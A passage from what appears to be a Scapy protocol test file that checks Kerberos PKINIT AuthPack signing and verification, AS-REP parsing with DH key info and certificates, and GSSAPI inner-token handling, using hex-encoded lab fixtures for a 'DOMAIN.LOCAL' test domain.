06f6f978769208ff65f263f1809743f42b6b70cc77f93f5278e62e4d1da2ae5285e8da155951aa5207cea519d373a202d889e37a9fdde6c79e7a574d2dacd3ea695fde5980d16f91b14cd8f3944cc6a5d3d4c5d95e12f863857fe733285ac04d43fdb0ee52dc8ae5c8d1dd6e32405df2f835bd1681dbf5af9fc523cfe31c31fcde16a07f90733f48cff0392a0a18a1787b91d6b67441d78f507043acfb99c64eebc77717a21cf85ec160411a8f8244f8ef493ad22e5bbdb73d647fc6d911b040d373740b11fa65df5f2a8087ae63f69da5fc14e2e320f6d3e013d319a15762ec6ee2eb3cdf9763a523')) # Build CMS engine to verify the authpack cms = CMS_Engine(CertList([ca])) # Verify signature authpack = cms.verify(signedauthpack, ASN1_OID('id-pkinit-authData')) assert isinstance(authpack, KRB_AuthPack) = PKINIT - Resign AuthPack and re-verify signature # Get cert/key cert = Cert(bytes.fromhex('3082062030820508a00302010202131b000000028b4c5c90b3392fca000000000002300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313135385a170d3236303932303232313135385a305731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e310e300c060355040313055573657273311630140603550403130d41646d696e6973747261746f7230820122300d06092a864886f70d01010105000382010f003082010a02820101009edc4865105bdbe4843dcb43a1ed273630d4bb84e2c6096cb8ef4d111da3dfc8ad78ff7a02a6ea6da16f2ecd0a7e4a85c7b685b02286298493834f8361a318864bea2f2faa92a3236cd1e373eb2874ff8e09468762de9af0a0881ea098fbeadccb9573e53c90da8398a9992e6e6a46081e23c31527453f9540ab4bca93d7b139a97c3a0392d8c035832005cc1ae2fdbfe098381e62b37cd6b94ea638fd06d2e2dfb4c1c35896d717188fa8c472a42aaf65c04ff1f2a55dbb0b02dcec1f9e07d7dd930ddec43947cf229324bfa5189bfc5a34a59864c95fa2351b506979cf1bc3529a7933be0f2004932490d1a250735bd692af367f5ca326d392c28c99bde1210203010001a38202f3308202ef301706092b0601040182371402040a1e08005500730065007230290603551d2504223020060a2b0601040182370a030406082b0601050507030406082b06010505070302300e0603551d0f0101ff0404030205a0304406092a864886f70d01090f04373035300e06082a864886f70d030202020080300e06082a864886f70d030402020080300706052b0e030207300a06082a864886f70d0307301d0603551d0e041604140a63d8a405fe59c3f3abbef3111f6f6a6a08a973301f0603551d23041830168014ab14d5ae948281f079726970b3b8f97003aa760c3081c80603551d1f0481c03081bd3081baa081b7a081b48681b16c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4443312c434e3d4344502c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f63657274696669636174655265766f636174696f6e4c6973743f626173653f6f626a656374436c6173733d63524c446973747269627574696f6e506f696e743081c006082b060105050701010481b33081b03081ad06082b060105050730028681a06c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4149412c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f634143657274696669636174653f626173653f6f626a656374436c6173733d63657274696669636174696f6e417574686f7269747930350603551d11042e302ca02a060a2b060104018237140203a01c0c1a41646d696e6973747261746f7240444f4d41494e2e4c4f43414c304e06092b06010401823719020441303fa03d060a2b060104018237190201a02f042d532d312d352d32312d313332323235373836362d343033353133333636322d313134303736393232322d353030300d06092a864886f70d01010b050003820101005b76869c48c9e4f28043253b8552a6017dc25f9dc990da86a79210f334c1a7e50b6125ab176bc7bb194b96a02736c9838117071d533e99467bf24219228bb40b6d410c8fb23f129010b68777acb83944842a0af694673206be22c0a0078ee0543962b31bae8d809ef553dbe858cd063a7a06f1ea7d026394ace39f294ad5d8c1b077e58e7d17f86eea918aa88ac09cf55ffcf147aa14a4c64f4216211e45fd8794b2906a29b97bcbd47a0b213768f5403f9aa08fd23ea92664fb9a0246ae75e34f939102fad7c48b8c5bb650203aa48b48bed4635bff4e3386e694d57a4e7e65939c5a5a72997176b5d0e50bd369e78bbf0cda53db204fbf37839223daff3a06')) key = PrivKey(bytes.fromhex('308204bd020100300d06092a864886f70d0101010500048204a7308204a302010002820101009edc4865105bdbe4843dcb43a1ed273630d4bb84e2c6096cb8ef4d111da3dfc8ad78ff7a02a6ea6da16f2ecd0a7e4a85c7b685b02286298493834f8361a318864bea2f2faa92a3236cd1e373eb2874ff8e09468762de9af0a0881ea098fbeadccb9573e53c90da8398a9992e6e6a46081e23c31527453f9540ab4bca93d7b139a97c3a0392d8c035832005cc1ae2fdbfe098381e62b37cd6b94ea638fd06d2e2dfb4c1c35896d717188fa8c472a42aaf65c04ff1f2a55dbb0b02dcec1f9e07d7dd930ddec43947cf229324bfa5189bfc5a34a59864c95fa2351b506979cf1bc3529a7933be0f2004932490d1a250735bd692af367f5ca326d392c28c99bde12102030100010282010075a71d72c407d4364cfe5b010ef6cdb8a3b799dd93fa2956bd2c75be3c5e76c9703891b5322b9ea96d0b23f535554d2a013c1b8cd434daa0d68344ab3fef83a54aa9f9226b48c8cbdeb71fa6653e045094482854f2937cdac379ac7d3270388427bedb23a6947d51430a3069a3dacf5d09bd60a8d4f9c35a6d97afbd2b7b6e43e46458433c45c75b87d85830547fd8bfe5ba9119be096833c660b3f4395296a10d2bcdb17ac22d9566aeb602656b715ece5401ef3f4f4731bcbb5316b38a881531a94e36807cc2ef6311e876b41c4fc1053c0d221ad5150ac52b1645aeb6a89861dcbb7faff3350cfa2027a6042681c692ffa3a3a54ef45dc51dadeb132086a502818100d1969cbf231b1e1a73d611fc6d6c60504ccf8c161c49b63b3d40adaeee6540d402c29dfa7f0538a2a4d8870b8bb3e04066423dbdefadf8eadcc9d4bfc2d30654d382eaa70be32fa108ff1bb816abb224d99fffc21cae781fd1637045b7e533614691f42b026ee83dc492e21271bf2fd65e34b4fb31ad522f1e64dc8eaa62b59f02818100c209f373b928c87ae60089f258ee4710983cfcd5586df3aa3bdbb46bf7357681c293328500fafb7daf9ad0c41cf17d3801136424cdee252f036a8033755959f6ba4d5207402619e35f8bc1cd41956d1f921b5b814ffbe4571a1da43007e9ab34b38224cbe98b713a968755e7b956a93dd9ee335888b79a9d4ef9ee2711b8713f0281807a131ba148b556c75988ea58f8f312f6328700b5302ccef39a2dbdfc11e6efe78ce406580cfbe18cfa2f141969798fb872d74a5702ef75f8763928adb8b06913a74ead96369a50f79ee1d827552d1449da6812f3e0f8ce06da52ece5eec29536a7800393b98b17c24268bb3cbafbfcc50381f79807cb47ff21d8e58e4337d3490281803c8da66fe2c49b6bdf032409813f3ae62edc397acad1e54ca6c975908be11f4e774e4061c96089c33b5df0f082a7ca100425ed069f4d464559a78ec28048960ead2d1c002f40b4ab8451b4f53d1648aba588ec117ac87d05c19ca67466c3c12dfd270c1ca69161908b1148f9bb9913cfbd86dc7730933ba903d07345b5fdfd3902818100852917f4d9244d06f54572f7c837069bfb3541e420444315cf3759d65d038d45135869c3bd97ab02c9697cdc971eaef6d5089adce124d69862d6040dbffb13d08b97f2b2ba74a673c6a3d327e07aeece4c72de22844ffdc5d989308552ca0d324c381fbdb8675f8408f26200dcd8c756778b46a80fcea2b60ba3017380871ba4')) # Resign signed = cms.sign( authpack, ASN1_OID('id-pkinit-authData'), cert, key, ) authpack = cms.verify(signed, ASN1_OID('id-pkinit-authData')) assert isinstance(authpack, KRB_AuthPack) = PKINIT - Parse AS-REP with CMS structures (MIT Kerberos) from scapy.layers.tls.cert import Cert pkt = Kerberos(bytes.fromhex('6b82109730821093a003020105a10302010ba2820987308209833082097fa103020111a282097604820972a082096e3082096a808209663082096206092a864886f70d010702a08209533082094f020103310f300d060960864801650304020105003082012b06072b060105020302a082011e0482011a30820116a082010a03820106000282010100ffb1e474ea4bb6c9248cec29ddf54feac8bf6a3261fd25dfc32e258e0056fb2caf4fb76f90961d706b98c0b16fedadf049aa2c3dda6e5eb42933828b932b8dd10f2e00caa1eb2901df080805fbe8d00cae67e9e35e9c197c362416d09fbfa5ef10e556b7993c7501566156dd431e5ae35eb9d00b86ec529b1af887b7671de382ddf4ec2ce87d71fe1ab3fa6d0338bb9c9d2794feba33356b149bc3d1745f4f2feca0ae97f62aaf3314fa1464c844fc016dd82e3008e2cd3cc762d0cc264981497342820f8c8f4aef29147346aea727cc24c3e64f474a5a2448325123d8d217fb65eaabbb7aab36db0e905e5df46de3686bc94581580924f0226385d2db6c599ca10602044e744899a08206303082062c30820514a00302010202131b00000003b9cb9e577efbe605000000000003300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313232395a170d3236303932303232313232395a301b31193017060355040313104443312e444f4d41494e2e4c4f43414c30820122300d06092a864886f70d01010105000382010f003082010a0282010100e6832a3e3ca595057e9f70733d34ea5153e4769dc95eb98d56d7b28e8c0390cdd7bfecf01b5f12931afe8d0a1c2e69b83466b3f8ef88c4b31f2c0a49bcee9fb7b78a7e71c6c69c260e606b96d9d2ba534430c6b5cd3be7ef98110e92a0175b66b0b501d32a39dc17f30033fd0c8fa508e5c781c2d130bc8dfd7cb3a8982bd65c16a15f175e7205337dd17b6f4358644db4e6ad3a0f83a2c605275ef0cf4ca2cf974386283d141f4fb0b1f6d72720b83e4155bd0ac39f6ca7723ca317ae6340f746b4c82195addce715e31928ee0e67cb357d3200ee0b26ee422008c8c3de5c1a5acae88e10c89edff4ccd8543f6eaa551c15ed5d8e756567e39c5d56edb948fd0203010001a382033b30820337302f06092b060104018237140204221e200044006f006d00610069006e0043006f006e00740072006f006c006c00650072301d0603551d250416301406082b0601050507030206082b06010505070301300e0603551d0f0101ff0404030205a0307806092a864886f70d01090f046b3069300e06082a864886f70d030202020080300e06082a864886f70d030402020080300b060960864801650304012a300b060960864801650304012d300b0609608648016503040102300b0609608648016503040105300706052b0e030207300a06082a864886f70d0307301d0603551d0e041604148994b7358e085091a011cd226c9305cdcb6b82a2301f0603551d23041830168014ab14d5ae948281f079726970b3b8f97003aa760c3081c80603551d1f0481c03081bd3081baa081b7a081b48681b16c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4443312c434e3d4344502c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f63657274696669636174655265766f636174696f6e4c6973743f626173653f6f626a656374436c6173733d63524c446973747269627574696f6e506f696e743081c006082b060105050701010481b33081b03081ad06082b060105050730028681a06c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4149412c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f634143657274696669636174653f626173653f6f626a656374436c6173733d63657274696669636174696f6e417574686f72697479303c0603551d1104353033a01f06092b0601040182371901a01204101d9d5575a78e1740b7be50767138da8c82104443312e444f4d41494e2e4c4f43414c304f06092b060104018237190204423040a03e060a2b060104018237190201a030042e532d312d352d32312d313332323235373836362d343033353133333636322d313134303736393232322d31303030300d06092a864886f70d01010b05000382010100205571d8ddc2bbb8cfd56b0fbb8d8b6e38ce376c76135f51f25c3f3a98094d59fee193d678b1ff310effa092985394e84ff033094c1889309e29146d239178e2171e192a7c3ae0ce6c653790f9bef3f3281a238c264c5a944e13fa3e97b7ee21e0c22a74b8ab81f4d0d7dc9a592f55efad413ab5041b123f622537e13733eeda845541e5ff8c9973dc5b482701d579f53c67a5ac3fed6c37b1501154d17661f70a252211e9e320269ab7e468bf3d1f1d65f106818122d05d4e2d4db03f1670f66fd9e711970886c7dae937184256023782771d579795d1c331ecd737d0e9d7bb1b4ca24606302bc9c7c10d8aebcfc8a4a2d6beb3fbd3abf14c2680f665f04e35318201d4308201d0020101305e304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434102131b00000003b9cb9e577efbe605000000000003300d06096086480165030402010500a049301606092a864886f70d010903310906072b060105020302302f06092a864886f70d010904312204200916c67ea99156a2738927fc51c6ebee43cdb65d715406d1fb6d40daf49c65ca300d06092a864886f70d0101010500048201007fa8498cf70e6f0f9763eaba1f050dda9ca79d343e93312319a457f157586ea849584da69ae8a3ffe26171a9a8cbd3a4b39fb7c8959ebadf42a69c4c626abcd59aac719042b2b9c90ea81bb7593618641d2b498cd6bd65322ed3dcde8895a68b0889c804ce8526cfee27d664a3cd0cc9f1a74531d029cafe4de15bb14bb4d36659fe276f126cccf421c91db7d5be02fb8185cd0de03bee08f424fc48cb4c3f4294f3225752c09abc33ca358b43b5cf3b7df109e37051f757e08a3caaad1d77d9f310a9bd8ea263a00431b57bf4b37c3b0f998a47209a406531c8fa3ff0fd4aec04e3574b2485bc6ac01d077064b67846a71600b65ff6d417441e034c7bd080eca30e1b0c444f4d41494e2e4c4f43414ca41a3018a003020101a111300f1b0d41646d696e6973747261746f72a58205806182057c30820578a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c646f6d61696e2e6c6f63616ca382053c30820538a003020112a103020102a282052a04820526690c97f510509c672dac4e1436da9aeb5ac4fde72b75b5c1fcfab03aef11139b30b9d32b62f9c4de8e97bc5148563c5bc5fb031e1b1869c69c2991778190d7f27eeeac2ba5e59b54b1b10af66e526fced04f1dd7edd81da93984962183a50e39f82d6f90c9cc9441fec556432ec776a4b595c459cdcfe45489d360f6c950185af170a24897a4eb1127f9c85772fe0417733b254604cd704a15993b77ac18fb1fd8fddb9e888f8c05ffd4c7a5e519593c9e7588c92345ca6ca2e04f0c83231bcc90adccb189e98c2afd53bdb8e665f91d5c3aafde51c60e9b42e88de76261060090483a8dc2d129b66cc3890524004295b5ba440c0a00b352ce91616df2c9a0153e5fd072a9a356dba5e44d79c032afc4d985a180d8fb1f9bba46be602a73ba7c4098683d6ffac4e456b0e51e9473f8ff40e50b437d370b087e1d41089d9f382a17e212d13244f95ad1fb629769c5d53b2ade80c6690fa845efb590a2c6e81851ea9ca1ba319c3a8f86bc62bbcbabf3ecc39d3f6988157a4c390ada2f42b7c577438bcfdb4136bbff92c3c32eb22213e14c51de330f4df4d493bcaa322a3eea01fe504bd03c18786ed385ca205af4396eb6c7b1cfa0e13bcf3e00452461b5c1f9761ef5edb35cfa79fdea04a5420b9762d6f2cf74d694b35c812ba62620c4e6e90ee6483768e38fa0011706d2c093a22202707c5c90cf3ea4c4f17c017f9d7e85a7cc555bf9c9bd4c1337282b5de0395d123ca25c2a9c9eca5cdc31dfd54db75f43eadadd7c7e3a3611a6c1a806c7ff5b0d0b102155978c745a9b4a022018009641ad9197492de70dee4248d159a2b2c5d6adbf253ac04dbe5713cf2878ef440aa68989b2655687a7b35f6a547a8c5a076004c58baa1b231bec7501f5f5bb9f1c66c8cc22d35641cd4442244f349d0351263bb2f1e11b4f4ec26044c87f93a1a963649f5be7a8d61306fe47a10427ac14ba6b9b09ec69950e5176e933cc1fdce258c62ccae4011e8eccab0a36b9ac1d21d36df38c32d65f438d25defa0eb5c577f5f2458304679a9934796be00d3335b7fee1f7616768f0547bd949b764ed2b4684951b35b57a7168fe79d8cd7580dfecddbc30afb8d47032f12cc5b2ee1c16a731dd977f2476989f465fdf6e08992ba566264d1e0a8f0f7274533293e2aa1c418397dc89f9f48d5d9dc3cd82548327be0ebc9b3edeb00f6cf0df8b339d10daae5bb02e9572881fbc5246d5db408fd9cf16209a4ef6b2fc6765d9d9092054b362494be360847b12927ea2fd73b89d345c22fe662f2096952edb69983f147eee5635f40c0bd7bca09b61f644a9df3ecccd0fd0d9c245b4fb224e415bfd58637d341214bc8b2e962df1e7845da642ee4b7a5343c8cee746f6da89cbe3c89f278c6d42f9a743d97ad2c767f1514458db99ca5f29175609e3a7a704b21de8c3cee0646eb60dfb5ddf6824008232dcbdf81b76b941c8af5c0788384bf61f694d80a00b9dc28ae8b0ff782d0b7fcefd60114518401534974c59b88ca89bb4f4a2a5e6e71d7f08342f830338981f534a1affc8ad28b9ec8c54b64321aaafb1d7f049719fda712def001492d6d404bf1da6043687f82378857453b0539a6cd7f452f4b789944a0ca6f238fd321687ac0685a81c9e77f113b7f5c1de3fba74b88f4e0c6cec90e230f16099f9fdb74c57879a98e4a1a85ad672021afc9199fba18c82a7e57c5655ee8d9e8e9cb6d31bc3920d7dbfe667c315b971f99ce2a3579cd1de9d7bd096dc443a1c0dc92e5f7e83657cf38020495585427720ecac4519162cced74d48c294fdb11086e97585d1a9bfaef4af44691f34341fb5e1f42113f82b597bc3e5f5e877116df8a682014a30820146a003020112a282013d048201396d08189c79793463088601b1497f77742a2980900f4c872aa340d07b36c4ff9f9b97740c6f18a15b2277c9c27f1ae7bad8a5899952ca36d3c2d0aa1e6c3137be54a8db29da9d4af03d72f7b9aea0b9f0a099a2421368e875b3cf6fc85454502e74635dd4683b061914c713cb2c551d8a46fdc47bd784c1d2925374cd0f48d4f917ca073563fe570f55f72d64f2de1776bc38e3aa79f0571ad7c64247d80d83fa3bef9f53dc3454634b78a5f207f01160fdd8a8ff4dbdfe2a2d46ccbf84eaf45299b9379b99a1eec016c143d3dc08dc3d9599e5aa62cdf5dc016fab8deba39d81c4d6c5eea684532bb6697ab61ab88d8ac43c5e36bcadd380b31d19dd8475ee68369ff5d8db5cf7733aafe82d96cc2ab68112216d37c44ddb37b336483d75f0566a713cd508a0c66ab7f13d70541e79e8d2038b42a415416d7d')) assert isinstance(pkt.root.padata[0].padataValue, PA_PK_AS_REP) pk_preauth_resp = pkt.root.padata[0].padataValue assert isinstance(pk_preauth_resp.rep, DHRepInfo) dhrep = pk_preauth_resp.rep assert dhrep.kdf is None assert dhrep.serverDHNonce is None dhkeyinfo = dhrep.dhSignedData.content.encapContentInfo.eContent assert dhkeyinfo.subjectPublicKey.y.val == 32278489782659599666680674691617740192025480882925125716566496945858046289374524666228146919540757354337943084659625408278197912527087491522001624804516413386428300641892927787473470630419131055568103619174060490124485923206334065346522123445748745649691028061114330596909397680493778434408463632147264526545631660227144914565541288496092534758943967886391259750733078319727386349536272439561387290863606045665780539098807180454586714490639623651326318384483940150461818440884045020628878002871357420738487965588236164888287449564150835059541717449563619851058161535035543798732468578054040817729345202791857657764252 assert dhkeyinfo.nonce == 0x4e744899 certificates = dhrep.dhSignedData.content.certificates assert len(certificates) == 1 cert = Cert(certificates[0].certificate) assert cert.issuer_str == '/CN=DOMAIN-DC1-CA/dc=DOMAIN' assert cert.subject_str == '/CN=DC1.DOMAIN.LOCAL' + Advanced Kerberos tests = Test Kerberos InnerToken wrapping (ancient RFC1964) pkt = GSSAPI_BLOB(b'`\x82\n\xc2\x06\x06+\x06\x01\x05\x05\x02\xa0\x82\n\xb60\x82\n\xb2\xa0\r0\x0b\x06\t*\x86H\x82\xf7\x12\x01\x02\x02\xa2\x82\n\x9f\x04\x82\n\x9b`\x82\n\x97\x06\t*\x86H\x86\xf7\x12\x01\x02\x02\x01\x00n\x82\n\x860\x82\n\x82\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0e\xa2\x07\x03\x05\x00 \x00\x00\x00\xa3\x82\x03\xf9a\x82\x03\xf50\x82\x03\xf1\xa0\x03\x02\x01\x05\xa1\x13\x1b\x11SAMBA.EXAMPLE.COM\xa2\x1a0\x18\xa0\x03\x02\x01\x01\xa1\x110\x0f\x1b\x04cifs\x1b\x07localdc\xa3\x82\x03\xb70\x82\x03\xb3\xa0\x03\x02\x01\x12\xa1\x03\x02\x01\x01\xa2\x82\x03\xa5\x04\x82\x03\xa1\x8eA^\xd1\xa6!\x0f\x82\xb9\xbe\x82\xd0\xe8\x8c\xd7\x1bs\xb7\xb4&h\xec\xd6]\x0f\xdc\xc30n\x9f\xc2\xbb\xf03\x93\x027\x88_\xd7\x85I\x81\xf1\xba7\xcf \xa4\xf4\xa3\xc5C\x1d\xe8z\x1f\xb7\x97\xb1\x1e\x93\xcc\x1e\xc2\'\x94\xee\xf3v\xael\x95\x9d5x\xde\xcf\xad\x16\x1c=\x0eDbb\x9e\xbaE\xfc\x9d\xddnu\x19\x1c\xa4x\xf0#\xc8\x1fTI:\xfb\x94\xd7#,\x9f\xf8\xca\t\xf5\xdd\xcf\xd4\'qLy\x85\xac#\xcb\xde\xe1\xc1\x02+\xf8\xf4{.\xe6\xd7`)\x9d[\xfd\xb8\xc3+\xcaF\t\xa1\x97\xd4\x8c\xe3.\xa4\x80\xd1v2\xf8\xff\xb7\x89y\x98\x13&\x94\xe4\x95\\\x12l\xd8j)\xa7\xa4^\xed\xa9\xee\x92\xaf\x99a\x18\x08\x96M\x8d\xe2\xed\xf4J\xf9\xa8\xb9L0b6\xfc\xa6\x82\x84\xa5`Z\\\xe3\x8e\xaaW\xffj\x94\x05\x88(D$\x84\x11\xe3f1\xfb@\x05g\x00\xad\xf9\x92\x9a\x92^/\xe5\xd4J\xbd\x1bH\x98\xe4#\xb2\x87S^p\xb30\xe6hdK\x1fpp\xde\xf3\xf8\x1b1C\x9c\x9f^e\xfa\x1e\r%\xf6@\xe1=#\xd6\xbf\x82\x8c\'\xca\xcf\xf1\xda\xaa\xdch\x7f\x99\x8e\xa8{4_\xb6\xc1\x1a\xb2\xd0\x16Pfb"\x0b\xde\x02\xb8)=\xbbF\xdfg\xd3\xa4CGb\xfd\xe3\xc0\xff\x96\x8a)\xd9\xd4d\x15\xaa\x01\xa7\xa6\x8f\x81\xf3\xedl\xeb\x8a@\x86\xf6dv\x17\xc4\xda\x14a\xbb5\x80\x08\xa4BPR\xe3);\xb7I\xd3\x90\xaa\xb5\x02\xcb ?\xd2\xb5T\x9d\xd0Ho`\xb0r\xd9R\x9fI\x05\xf9b\xd9\xa6\xa8\xae2Q\xed\x1f/@\x1b=bC\xc8\x1d\xbb1\t\xc7\xabBNK\xf4\x0f0Q\x13\x8e\'\xf9\x91\n\x90\xa4\x97\x81S\xda7u\x92<\xa7@\xa0LO\xb7\xa5\x88\x0b\xa8\xd8p\xbbs\x97f\x17\x16\x87\xbe\xff\x84\xcf\xbf\xba=n\xd0w\xeb\x99x\x03\n\xb5\'\x0ewQ\x90;\xed~}}\x1a\xaf\xe5\x9d\xc4r\xe8\xa6\x97\x07AYl\xec\x8b\xc8\xf5I#\x0f\x04#\xf1\xf9\xec\xdf=\xd7\xc25\tC\xa2\x00\x0cr\xa7N\xfa\x1d\x18\x0es\x05\xef\x11\x84\xc2}\xee\xecKW\xc3\xaeo\x8eS\xa3\xa2n\xb3\xd3\xf1\xb0\xfc\xd8\xe8\xd7jp\xf7$\x11\xd2\xafZ\x83\';*\x87\xa6\xc2\n\xd9:\x8cy9d8\x1a\xf7B\n\nr\xa9M\xcf\xf5?\xe1\xa0\xdca\xd3\xc9\xdc\xc6\x04KyQ\x7f)g;\xc8s?0\xab\xf7\xd7\xd7\x85\xdd1]\xd2\x12\xb5\x1c\x87\x05/\xf4\xe4\x8ci\xe3+\xdeH"\xc2\xe7Z\x17\xaa \xd2\xbaKr\xcc\xd0\xa9\x1d\xe2u\xab\xcc\xd9\xc0\x05\xc5\xf2\t\xf5\xb1M\xa4\x84\x1fS\xfe\xb1\x18r\x81\xba\xc9\xfe\x8f\x01\x8c\x12\xd2\xa6Jy\n\x98\xe9\xd1\xfa\x89\x9c\x84\xf8\xd5\x7f3\x92\'\xed\xa9\xc3\xc1\xcd\xcd\xb9\x19\xec\xb2\x08\xa2\xd0\xc1@\x80\xf1\xc1\x1b(\\\xd3\x17\x04\xf8\xbf\x1a\xb4>.\xcbzP>R\xe9\x84V\x04\x92\xf3\r\x9a\xd2\x99\xf0q>K\\\xb5f\x8e\x9c\xc2\xb3\x1f\xebL\x19~\xda^\x1dY\n\x9d\xd11B;n\xcc\xd3\x1e\x1d\xe0\xe2o\x14\xd8_\xaf\'f\r\xe1 \xfaD\xaa\xad7\xac\x81\xd2\xfd\xf1-D\xba\xa8*\x07J\xbb4\x1b\x19ny\x81\x113\x0e]\xfa|T\x91ayS\xe8\xf6y\x9d\x8b1\xf5\xbb\\\xfb8JD\x17Fq\xd4\x8aF\x16\x9ed\x1cJ\x864p\x94k\xe2\xdd\xdc\x15\xb7\x0f*\xae\xa3@\xc2\x92\xcd\x17>|\xc8\xb7\xd7\x1ay \x8b\xbdZ\xef3*~S\x81D\x12}$\x0c\xce\xa7`\xcam\x9a4q\xdfK\x0eE\xbe\xbf,\xfe\x8a\xe6\xd0Q\x03\xe2\x19\xefx\xb6`%\xcb/\xfa&\\\x15\xc8\xa3\x83V\x18N\xad\xce|6r\x01tW\xa4\x82\x06n0\x82\x06j\xa0\x03\x02\x01\x12\xa2\x82\x06a\x04\x82\x06]\xbe\x88N^mh#\x18\xc2\xf0\x8e\xda\xe5E\xab\xe8\x811\xd2\x0e\xd2q\x96\xf3\xb6\r\xa2s\xcf\xe70s\x0eF\x1b\x01~\x9ev\xcc\xb0h`5\x11\x8d\xb4f}\xad\xc9\xbeGG\xe4\x1f,\x08\x8f\xde}\xad\x0f\xee\x00\n`j\xb2\x9fy]>\xd3)w)8\xc4\x88\xf3]2ea\xce\xf5.R1\xe5G\x87\xeb\xa8\x0f4\xcf\x13\xe7\x1d\xcd\x16\x00\xe8\xf5\xc4_1\x95\xb6\x16\xa0b*\xf6\x8e\xd2\xd5\x19s\x1b\xce\x86\xd4)R\xa9\x13i"\xe7}\xda\x8d_\x961\xb3\x8b=\xd3R\xa9\xb8c,\xb3\xb7#\xdbt*\x04\x15\xa5\xa8f\x80m\xe8m\x1b\xb2\xe9\x1f\x1f\\\x1a\xbb\x90x{&@\xc3v\xa5#>\xd2\xb7\xd1y\x1f\xf6&wz\x88\xe2\xdd\xdb\xc0\xbfP\xec\xbf\x9a\xff\xf0"\xdf\x9e\xdd\x87\xb4\x06)2\x12\xd7\xad\x99\xf0\x98\xfdB6<\x8d\x1e\xf5\x0c0\x9e+\x19\xa4\x91E\xcet5\xbbz@M\xd8\x18\t\xdd\xaa\x16V\x87Ii\x0f\xe5)P\x0e\xd32\xbfK\x06j\x14\xcc\x8e&TZ\xfa\x89\x87\xe6\xd0\xe5\xe5[`\x97\x13|0s\x1c\x841Y\xbcT\x19\xa1\x8b\xef\x16k\xde\xf6\x0e\x9fPA^\xfe\xa3S\xd9-\xab\xf2{Y#b(\xcb\x13\x1b\xae\xb0h\x91wy\xfd\xff\x01\x13\x92O\xcc<\xf1\x88\xb7\x07\xc5\xe8,\xa3\x8et\xe7\x186FP\xe9?\x862\x881\xd3E\x91\xea\xf0\xa3I\xba\xc1^\xa1\x1b\xce\xeftZn\xb1m\x1ah\xfa\xe8\xf2z\xb8\x11\xa19Z\x13Y{1\x8a\xa4\xc5LRl(\x91\xf7\xcaI7\x13\xf6\xe4\x1c\xb1\xf6!\xe9;/U~\r\x17\xcd5}J\xcd\x18\xe0\xae\x1a\xca\xdb\x99\x02\x13\xbc\x93\xff\xfe\x82\x90&|\xf4\xf2fI\xbb\xfc\x81m\xc0\x94\xcb\x9a\x0f{\xd3\xa2<\x86g N2\xd8\x8f]NA\x0c?\x8d\x80 S\r\xde\xa6\x87\xd4"W\x9c\xa1\x18p\xbf\xc5e(\x06Bc\x1c\x8e<\xf8D\xb8\xd8\x8b\x88_Q\nh\xb6xW\xd7\xc1l\x08t\xce\xc2\n\x06\xb1\x1b\xe1\x16x\xe6\xb9Q \xba\xdfa\x97\xa9\x9c\xf1\xf3N\x97w\xf8\xfd:!\x93\xa6\xc7\xfc\xcd\xf3\x12\x14\xe5\x8dB\x9d\xe2uY{3\xc8bukA\xfa\x95\xa5\xa3\xcc(-\xf6\\\x9f\x14OD\xef\x0f\x8c\xde\xd0B\'<\xd36hT\xbd\xa0\'\x89\x1f\'\x15`\xbb[\xf8Zx\xdc\xcdx0)\xc2\x8dD-\xa9m\xe3\xd7\x91w\x10\x8aD\xd37+\x8b\xf7\xa7\xa2\x8d{\x0c\xd8\x80\xe1<)lg\xb9\xbfr\x95^)^\x0e\xe5*\xbfGk!5/$01z\xf7\xcf\x86\x1aF\xf2V\x12\xa8w\xad\x070\xf3\x10\x86\xd6\x19\r\xdd\x88\xbe\xc4\xef\xbb\xd2\t,\xa2\xcd9\xbd\x11\x03\xed\xc9X\x98_\x00\xf5\xfa\t<\x9d\xfco/\x84\xca:\x1e\xc6A\xb0\x1f\x8d\x07\x18\x11\\WC\r\x7f\\\xa0\xea\'\xcc\x96\xc7\xd8\x9a\xb4-\r\x88\xc8\x12\x1f\x8b`\n#\x9a\x92\xa9\x86\x85z\x0ctB\xff:\xaf\xbc\xd4F\xcf$R\x8a\x81\xbd\x84\xe03F\x95\xa0\xbb\xdc\xd9\x7f\xc9\x91/\xc3\x9c~m\x9d\xbb\xfd\x8a\x80\xa8\x81\xb1VC\xf5y\x13N\xa6\x1dq\x1bn\xa0\x83\xeaQ\xe4-\xe3m\x99\xcf\xe6\xb2n\xe7\x0e\xea*\x01\xb5\xdb\xf5P\x03\x96\x82\x91\xe9\xa7\x9bm\x9c\x98\xe3j\x85UG\xd9\x0f\xb5\xb47\xd18d\x9f~VL\xa6\x98\xf2.\xf3\x821\xc8\x03\\fP\'\xee\x85\xbf\xdbd\xc1\x023\xf9\xb5D\xda\xe6Y\x0b[\x86\x9b\xbd\x96z\xe67\x05\xba\x1f\xfd\x1f\xb2F\xf2P\xbd<\xd7\xbdUj\xb1@O\xa2}\x02C\xc4\x01eu\x7f%b\xb4\xfc\xe1D\x02\x8f\xbfj\xd7~E\xd5^h\xc8\xc3\xf9\xb3\x1e\xf0\xbb\x02\xfb\x8c\xc4\xc2\